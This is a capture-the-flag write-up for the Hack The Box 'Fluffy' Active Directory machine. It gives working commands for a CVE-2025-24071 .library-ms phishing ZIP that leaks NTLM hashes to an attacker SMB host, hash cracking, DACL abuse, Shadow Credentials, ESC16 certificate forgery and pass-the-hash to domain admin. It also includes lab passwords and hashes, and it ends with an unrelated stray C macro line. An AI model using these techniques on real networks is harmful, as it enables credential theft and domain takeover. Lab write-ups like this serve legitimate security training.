RECON

Creds

MACHINE INFORMATION

As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman / J0elTHEM4n1990!

Port Scan

$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-05-25 08:43:11Z)
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-25T08:44:49+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after:  2026-04-17T16:04:17
| MD5:   2765:a68f:4883:dc6d:0969:5d0d:3666:c880
| SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
| -----BEGIN CERTIFICATE-----
| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after:  2026-04-17T16:04:17
| MD5:   2765:a68f:4883:dc6d:0969:5d0d:3666:c880
| SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
| -----BEGIN CERTIFICATE-----
| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
|_ssl-date: 2025-05-25T08:44:50+00:00; +7h00m00s from scanner time.
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-25T08:44:49+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after:  2026-04-17T16:04:17
| MD5:   2765:a68f:4883:dc6d:0969:5d0d:3666:c880
| SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
| -----BEGIN CERTIFICATE-----
| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after:  2026-04-17T16:04:17
| MD5:   2765:a68f:4883:dc6d:0969:5d0d:3666:c880
| SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
| -----BEGIN CERTIFICATE-----
| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
|_ssl-date: 2025-05-25T08:44:50+00:00; +7h00m00s from scanner time.
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49677/tcp open  msrpc         syn-ack Microsoft Windows RPC
49678/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49680/tcp open  msrpc         syn-ack Microsoft Windows RPC
49698/tcp open  msrpc         syn-ack Microsoft Windows RPC
49713/tcp open  msrpc         syn-ack Microsoft Windows RPC
49747/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 37486/tcp): CLEAN (Timeout)
|   Check 2 (port 57052/tcp): CLEAN (Timeout)
|   Check 3 (port 26972/udp): CLEAN (Timeout)
|   Check 4 (port 37715/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
|   date: 2025-05-25T08:44:12
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s

Environment Profile:

  • Domain: fluffy.htb
  • DC Hostname: DC01.fluffy.htb
  • SSL Certificate Issuer: fluffy-DC01-CA → indicates AD Certificate Services (AD CS) might be active.
  • Time Skew: +7h → fix time skew error for Kerberos ticket validity.

Key Ports Discovered:

  • 53 – DNS (domain resolution)
  • 88 – Kerberos (authentication)
  • 139, 445 – SMB (file sharing, auth)
  • 389, 636, 3268, 3269 – LDAP/LDAPS (AD queries)
  • 464 – kpasswd (Kerberos password change)
  • 593, 9389, 496xx – MS-RPC (DCOM, WMI, BloodHound)
  • 5985 – WinRM (remote PowerShell)

USER

Leveraging Netexec, we initiate enumeration using the foothold credentials j.fleischman / J0elTHEM4n1990!.

SMB Enum

Using the --shares flag, we enumerate access rights on available SMB shares:

$ nxc smb dc01.fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares

SMB         10.129.128.33   445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB         10.129.128.33   445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB         10.129.128.33   445    DC01             [*] Enumerated shares
SMB         10.129.128.33   445    DC01             Share           Permissions     Remark
SMB         10.129.128.33   445    DC01             -----           -----------     ------
SMB         10.129.128.33   445    DC01             ADMIN$                          Remote Admin
SMB         10.129.128.33   445    DC01             C$                              Default share
SMB         10.129.128.33   445    DC01             IPC$            READ            Remote IPC
SMB         10.129.128.33   445    DC01             IT              READ,WRITE
SMB         10.129.128.33   445    DC01             NETLOGON        READ            Logon server share
SMB         10.129.128.33   445    DC01             SYSVOL          READ            Logon server share

We confirm read/write access to a custom share named IT:

$ smbclient //dc01.fluffy.htb/IT -U 'fluffy.htb\j.fleischman%J0elTHEM4n1990!'

smb: \> ls
  .                                   D        0  Sun May 25 02:00:47 2025
  ..                                  D        0  Sun May 25 02:00:47 2025
  Everything-1.4.1.1026.x64           D        0  Fri Apr 18 08:08:44 2025
  Everything-1.4.1.1026.x64.zip       A  1827464  Fri Apr 18 08:04:05 2025
  KeePass-2.58                        D        0  Fri Apr 18 08:08:38 2025
  KeePass-2.58.zip                    A  3225346  Fri Apr 18 08:03:17 2025
  Upgrade_Notice.pdf                  A   169963  Sat May 17 07:31:07 2025

                5842943 blocks of size 4096. 1966861 blocks available

Directory dump reveals:

  • KeePass-2.58.zip → a password manager, which could contain encrypted credentials in a .kdbx (KeePass database) file.
  • Everything-1.4.1.1026.x64.zip → a file indexing/search tool.
  • Upgrade_Notice.pdf → A PDF file may contain other interesting information.

Snag all three:

smb: \> mget KeePass-2.58.zip
smb: \> mget Everything-1.4.1.1026.x64.zip
smb: \> mget Upgrade_Notice.pdf

For a cleaner transfer, mount the share to avoid all buffer/time constraints:

Bash
# Mount
sudo mkdir -p /mnt/fluffy-it
sudo mount -t cifs //dc01.fluffy.htb/IT /mnt/fluffy-it \
    -o username='j.fleischman',password='J0elTHEM4n1990!',domain='fluffy.htb'

# Copy files
cp /mnt/fluffy-it/KeePass-2.58.zip .

# Umount
sudo umount /mnt/fluffy-it

The PDF references known CVEs—likely context for the tools:

htb_fluffy_1

Unzip the KeePass archive:

$ unzip KeePass-2.58.zip -d keepass

$ tree keepass
keepass
├── KeePass.chm
├── KeePass.exe
├── KeePass.exe.config
├── KeePassLibC32.dll
├── KeePassLibC64.dll
├── KeePass.XmlSerializers.dll
├── Languages
├── License.txt
├── Plugins
├── ShInstUtil.exe
└── XSL
    ├── KDBX_Common.xsl
    ├── KDBX_DetailsFull_HTML.xsl
    ├── KDBX_DetailsLight_HTML.xsl
    ├── KDBX_PasswordsOnly_TXT.xsl
    └── KDBX_Tabular_HTML.xsl

4 directories, 13 files

We discover a configuration file KeePass.exe.config:

XML
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
        <startup useLegacyV2RuntimeActivationPolicy="true">
                <supportedRuntime version="v4.0" />
                <supportedRuntime version="v2.0.50727" />
        </startup>
        <runtime>
                <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
                        <dependentAssembly>
                                <assemblyIdentity name="KeePass"
                                        publicKeyToken="fed2ed7716aecf5c"
                                        culture="neutral" />
                                <bindingRedirect oldVersion="2.0.9.0-2.57.127.127"
                                        newVersion="2.58.0.0" />
                        </dependentAssembly>
                </assemblyBinding>
                <enforceFIPSPolicy enabled="false" />
                <loadFromRemoteSources enabled="true" />
        </runtime>
        <appSettings>
                <add key="EnableWindowsFormsHighDpiAutoResizing" value="true" />
        </appSettings>
</configuration>

This KeePass.exe.config file is a standard .NET application config file, but it doesn't directly expose credentials.

However, this line in KeePass.exe.config:

XML
<loadFromRemoteSources enabled="true" />

…instructs the .NET runtime to permit loading assemblies (DLLs) from remote locations, including:

  • UNC paths (\\attacker\share\malicious.dll)
  • Mapped drives
  • Even web-based locations (in older versions or misconfigured cases)

Normally, this would be blocked by .NET's security policy — unless explicitly allowed like here.

The setting is a major red flag in the context of a user extracting and running KeePass.exe from a ZIP archive, from where we possess write access. It strongly suggests the environment is prepared to load something from a remote location — a classic staging point for intranet phishing via SMB path tricks, and spoofing lures, or phishing payloads delivered via intranet share references.

CVE-2025-24071

Overview

Among the disclosed CVEs in the PDF, CVE-2025-24071 stands out as a precise match for the current setup. It is a recent CVE (AFAIR a few months ago, I read the report and guess this could be a good setup for HTB machines — and now here it is).

CVE-2025-24071 is a spoofing vulnerability in Windows File Explorer that allows attackers to capture NTLM hashes through minimal user interaction. The flaw arises from Windows Explorer's automatic processing of .library-ms files, which are XML-based and define library locations.

When a specially crafted .library-ms file containing a malicious SMB path is compressed within a RAR or ZIP archive and subsequently extracted, Windows Explorer automatically parses the file to generate previews or index metadata.

This automatic processing triggers an SMB authentication request to the attacker's server, resulting in the disclosure of the user's NTLMv2 hash. The attacker can then use this hash for pass-the-hash attacks or offline cracking.

In our case: a user is possibly downloading and extracting the KeePass-2.58.zip from SMB server, revealed by the KeePass configuration file enabling loadFromRemoteSources — this gives us a perfect opportunity to swap this archive with a weaponized version crafted using the CVE-2025-24071 exploit.

Phishing

First, we craft the weapon—using the CVE-2025-24071 PoC repo (or create one manually, which is quite easy). It generates a .library-ms file designed to provoke SMB authentication to our controlled server:

htb_fluffy_2

Use the provided PoC to generate the malicious ZIP:

Bash
python exploit.py -f Microsoft -i $attacker_ip

This creates a minimal XML file like:

XML
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
  <url>\\10.10.45.11\shared</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

We can opt to pack it manually in a ZIP file.

The exploit is packed inside exploit.zip. Now we rebrand it to match the original:

Bash
mv exploit.zip KeePass-2.58.zip

Or emulate a real-life stealthy scenario, we unzip the exploit.zip and embed the generated Microsoft.library-ms file into the original KeePass-2.58.zip.

We now deploy. Mount the IT share:

Bash
sudo mount -t cifs \
	  //dc01.fluffy.htb/IT /mnt/ \
	  -o username='j.fleischman',password='J0elTHEM4n1990!',domain='fluffy.htb'

Overwrite the existing archive:

Bash
sudo cp KeePass-2.58.zip /mnt/KeePass-2.58.zip

Sanity-check the drop to confirm payload presence:

$ unzip -l /mnt/KeePass-2.58.zip
Archive:  /mnt/KeePass-2.58.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      363  2025-05-24 23:06   Microsoft.library-ms
---------                     -------
      363                     1 file

Now, trigger the trap. Launch Responder to intercept the authentication:

Bash
sudo responder -I tun0

But—nothing. No connections.

Turns out the server parses .library-ms files only when the archive name differs from the original. A crude but effective filter. So we can cleanup the SMB server and swap subtlety for temptation (e.g.: by renaming the trap as porn.zip):

htb_fluffy_3

Apparently, the bait worked—the victim found the file enticing enough to take the plunge. Now the malicious .library-ms is processed automatically—leaking NTLMv2 hashes with zero clicks.

Hashcat

The trap was sprung. Responder snagged a live NTLMv2 hash as soon as FLUFFY\p.agila extracted the ZIP:

p.agila::FLUFFY:aef91712e2e78932:FC49FFE707188A372478EF9234D166A5:010100000000000080A13A0003CDDB018B327D4F73ACC0FE00000000020008004D00430031004B0001001E00570049004E002D00410044004B005A005000440059003400460046004B0004003400570049004E002D00410044004B005A005000440059003400460046004B002E004D00430031004B002E004C004F00430041004C00030014004D00430031004B002E004C004F00430041004C00050014004D00430031004B002E004C004F00430041004C000700080080A13A0003CDDB0106000400020000000800300030000000000000000100000000200000F7ACDA41858AA98D60686E613A0A537444EF69081D2BD36DC7FAE88DC5C776E00A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0036000000000000000000

We offload the hash for cracking:

Bash
hashcat -m 5600 p.agila.hash /usr/share/wordlists/rockyou.txt --force

Moments later, the box gives:

P.AGILA::FLUFFY:aef91712e2e78932:fc49f...:prometheusx-303

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)

We have a new account p.agila / prometheusx-303:

htb_fluffy_4

Unfortunately, no remote login privileges.

BloodHound

We deploy bloodhound-python using p.agila's freshly cracked credentials to interrogate the domain:

Bash
bloodhound-python -u 'p.agila' -p 'prometheusx-303' -d 'fluffy.htb' -ns $target_ip --zip -c All -dc 'dc01.fluffy.htb'

We found out p.agila is a member of SERVICE ACCOUNT MANAGERS, which holds GenericAll rights over the SERVICE ACCOUNTS group:

htb_fluffy_5

That group contains three accounts:

htb_fluffy_6

And winrm_svc? It's got remote logon privileges over WinRM, as its name suggests:

htb_fluffy_7

DACL Abuse

GenericAll

Therefore, the privesc path is crystal clear, with the all mighty GenericAll privilege as user p.agila.

To compromise the target winrm_svc in the SERVICE ACCOUNTS group, we need to first add ourselves to the group, via bloodyAD add groupMember:

Bash
bloodyAD --host $target_ip -d 'fluffy.htb' \
	  -u 'p.agila' -p 'prometheusx-303' \
	  add groupMember 'SERVICE ACCOUNTS' 'p.agila'

Then, for good measure, seize ownership via bloodyAD set owner:

Bash
bloodyAD --host $target_ip -d 'fluffy.htb' \
	  -u 'p.agila' -p 'prometheusx-303' \
	  set owner 'SERVICE ACCOUNTS' 'p.agila'

GenericWrite

However, direct password resets on SERVICE ACCOUNTS members—like winrm_svc—are blocked. We only have GenericWrite, not full control:

htb_fluffy_8

There're also quite a few way to exploit, for example:

Shadow Credentials Attack

With GenericWrite, we shift to the Shadow Credentials technique—an elegant abuse vector for service accounts. We've used it before (Certified, Haze)—it's time-tested.

We can use many tools for this purpose, like bloodyAD, pywhisker, certipy, PKINITtools, etc. Since Certipy has a nice update with a new documentation called "Certipy Wiki", we can test its new release in this practise:

Bash
bash ft.sh fluffy.htb \
certipy shadow auto \
	-username '[email protected]' -password 'prometheusx-303' \
	-account winrm_svc

Using Certipy with Kerberos-base authentication, we can compensate for the clock skew using faketime, introduced in the Certified writeup (or leverage a bash script wrapper mentioned in the Haze writeup for Arch Linux distro — what I do here).

The attack silently implants shadow credentials on winrm_svc. Moments later:

htb_fluffy_9

WinRM

Armed with the NTLM hash, we pivot through pass-the-hash:

Bash
evil-winrm -i pluffy.htb -u 'winrm_svc' -H '33bd09dcd697600edf6b3a7af4875767'
htb_fluffy_10

Access granted. We breach the host via WinRM and capture the user flag.

ROOT

Cert Publishers

From earlier BloodHound recon, one target stands out: ca_svc, a service account with direct membership in the CERT PUBLISHERS group:

htb_fluffy_11

it shows a privilege escalation path via certificate infrastructure abuse — specifically related to the Cert Publishers group.

This isn't just cosmetic. Members of CERT PUBLISHERS hold publish rights in an AD CS infrastructure—allowing certificate manipulation and abuse paths tied to identity injection.

According to Microsoft docs and the Hacker Recipes, this means:

“You can weaponize this to mint certs that impersonate other users.”

Therefore, we can compromise ca_svc via shadow credentials—same method used on winrm_svc. An automate script for the objective:

Bash
#!/bin/bash

set -x

TARGET="10.129.248.121"

# Add group
bloodyAD --host $TARGET -d 'fluffy.htb' \
	  -u 'p.agila' -p 'prometheusx-303' \
	  add groupMember 'SERVICE ACCOUNTS' 'p.agila' || true

# Set owner
bloodyAD --host $TARGET -d 'fluffy.htb' \
	  -u 'p.agila' -p 'prometheusx-303' \
	  set owner 'SERVICE ACCOUNTS' 'p.agila'
who
# Hack: Shadow credentials
bash ft.sh fluffy.htb \
certipy shadow auto \
	  -username '[email protected]' -password 'prometheusx-303' \
	  -account ca_svc

Hacked:

htb_fluffy_12

Certipy

Run an initial scan against the CA using our new foothold via the certipy find module:

Bash
certipy find -target 'dc01.fluffy.htb' -dc-ip $target_ip \
      -u 'ca_svc' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' 

The report reveals multiple exploitable elements, but one stands out:

JSON
{
  "Vulnerabilities": {
    "ESC16": "Security Extension is disabled"
  },
  "Certificate Authorities": {
    "fluffy-DC01-CA": {
      "DNS Name": "DC01.fluffy.htb",
      "Request Disposition": "Issue",
      "Web Enrollment": {
        "http": false,
        "https": false
      },
      "Permissions": {
        "Owner": "FLUFFY.HTB\\Administrators",
        "Access Rights": {
          "Issue and Manage Certificates": [
            "FLUFFY.HTB\\Domain Admins",
            "FLUFFY.HTB\\Enterprise Admins",
            "FLUFFY.HTB\\Administrators"
          ],
          "Manage CA": [
            "FLUFFY.HTB\\Domain Admins",
            "FLUFFY.HTB\\Enterprise Admins",
            "FLUFFY.HTB\\Administrators"
          ],
          "Publish Certificates": [
            "FLUFFY.HTB\\Cert Publishers"
          ]
        }
      }
    }
  },
  "Published Templates": [
    {
      "Template Name": "User",
      "Display Name": "User",
      "Enabled": true,
      "Schema Version": 1,
      "Extended Key Usage": [
        "Encrypting File System",
        "Secure Email",
        "Client Authentication"
      ],
      "User Enrollable Principals": [
        "FLUFFY.HTB\\Domain Users"
      ],
      "Remarks": {
        "ESC2": "Template can be targeted as part of ESC2 exploitation.",
        "ESC3": "Template can be targeted as part of ESC3 exploitation."
      }
    },
    {
      "Template Name": "EFS",
      "Display Name": "Basic EFS",
      "Enabled": true,
      "Extended Key Usage": [
        "Encrypting File System"
      ],
      "User Enrollable Principals": [
        "FLUFFY.HTB\\Domain Users"
      ]
    },
    {
      "Template Name": "Machine",
      "Display Name": "Computer",
      "Enabled": true,
      "Extended Key Usage": [
        "Client Authentication",
        "Server Authentication"
      ],
      "User Enrollable Principals": [
        "FLUFFY.HTB\\Domain Computers"
      ],
      "Remarks": {
        "ESC2": "Template can be targeted as part of ESC2 exploitation.",
        "ESC3": "Template can be targeted as part of ESC3 exploitation."
      }
    }
  ]
}

⚠️ ESC16 Vulnerability flagged.

Upgrade Certipy to newest version for ESC16 by specifying the python3.12 path for pipx:

Bash
pipx install git+https://github.com/ly4k/[email protected] \
    --python /home/Axura/.pyenv/versions/3.12.3/bwhicin/python

So we don't need to screw up our preferred Python environment.

ESC16

Overview

Vulnerability Detected: ESC16

"ESC16": "Security Extension is disabled"

ESC16 abuse is possible when security extensions (1.3.6.1.4.1.311.25.2) are disabled — confirms that KeyCredential link objects can be abused.

This extension is critical for strong certificate mapping — without it, Kerberos domain controllers (DCs) may fall back to weak mapping methods like UPN or DNS, which can be abused.

ESC16 is also mentioned in the Certipy Wiki.

Attack Scenarios:

  1. UPN Manipulation (ESC16 alone)
    • Attacker modifies a victim account's userPrincipalName to match a target (e.g., administrator).
    • Requests a certificate (no SID ext due to ESC16).
    • Reverts UPN.
    • Authenticates as the target.
  2. ESC16 + ESC6 (Full Enforcement bypass)
    • Injects SAN UPN + SAN SID URL into certificate request.
    • KDC uses injected SID in SAN (not extension), leading to privilege escalation.

In this case, we can choose the attack path 1 to perform a UPN manipulation attack.

Templates

We have several enabled certificate templates that:

  • Are published by the CA
  • Allow Domain Users or Domain Computers to enroll
  • Have schema version 1 (which makes them candidates for ESC1, ESC2, or ESC3 depending on other permissions)

Among them, the "User" template is the most exposed:

"Template Name": "User",
"User Enrollable Principals": [ "FLUFFY.HTB\\Domain Users" ],
"Schema Version": 1,
"Remarks": {
  "ESC2": "...",
  "ESC3": "..."
}
  • Anyone in Domain Users can enroll into this template.
  • Schema version 1 templates don't implement stronger security controls introduced in newer versions.
  • ESC2/ESC3 refer to abuse via enrollment rights + ACL control.

A perfect foothold for forging certs and climbing the privilege chain.

UPN Manipulation

We start by querying the current UPN of the victim account ca_svc:

Bash
certipy account \
      -u '[email protected]' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' \
      -dc-ip $target_ip -user 'ca_svc' \
      read

Output:

[*] Reading attributes for 'ca_svc':
cn                                  : certificate authority service
distinguishedName                   : CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
name                                : certificate authority service
objectSid                           : S-1-5-21-497550768-2797716248-2627064577-1103
sAMAccountName                      : ca_svc
servicePrincipalName                : ADCS/ca.fluffy.htb
userPrincipalName                   : [email protected]
userAccountControl                  : 66048
whenCreated                         : 2025-04-17T16:07:50+00:00
whenChanged                         : 2025-05-25T15:25:56+00:00

Our goal will be overwriting the userPrincipalName ([email protected]) to [email protected].

This allows us to impersonate the administrator account during certificate enrollment. We perform the overwrite:

Bash
certipy account \
      -u '[email protected]' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' \
      -dc-ip $target_ip -upn 'administrator' \
      -user 'ca_svc' \
      update

Re-running the read confirms the UPN hijack:

htb_fluffy_13

We now request a certificate for ca_svc, which—due to the UPN overwrite—will be interpreted as a request for administrator. Since ESC16 is in play, the CA omits SID binding, falling back to the spoofed UPN alone:

Bash
certipy req -dc-ip $target_ip \
      -u '[email protected]' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' \
      -target 'DC01.fluffy.htb' \
      -ca 'fluffy-DC01-CA' \
      -template 'User'

A certificate with UPN administrator is now generated by the CA:

htb_fluffy_14

Before moving on, revert the spoofed UPN to prevent conflicts with the real administrator account:

Bash
certipy account \
    -u '[email protected]' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' \
    -dc-ip $target_ip -upn 'ca_svc' \
    -user 'ca_svc' \
    update

With the certificate administrator.pfx in hand, we authenticate and extract both the TGT and NT hash:

Bash
bash ft.sh fluffy.htb \
certipy auth \
    -dc-ip $target_ip -pfx 'administrator.pfx' \
    -username 'Administrator' -domain 'fluffy.htb'

Result:

[*] Certificate identities:
[*]     SAN UPN: 'administrator'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e

We pass-the-hash and step into domain admin territory:

htb_fluffy_15

Rooted.


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)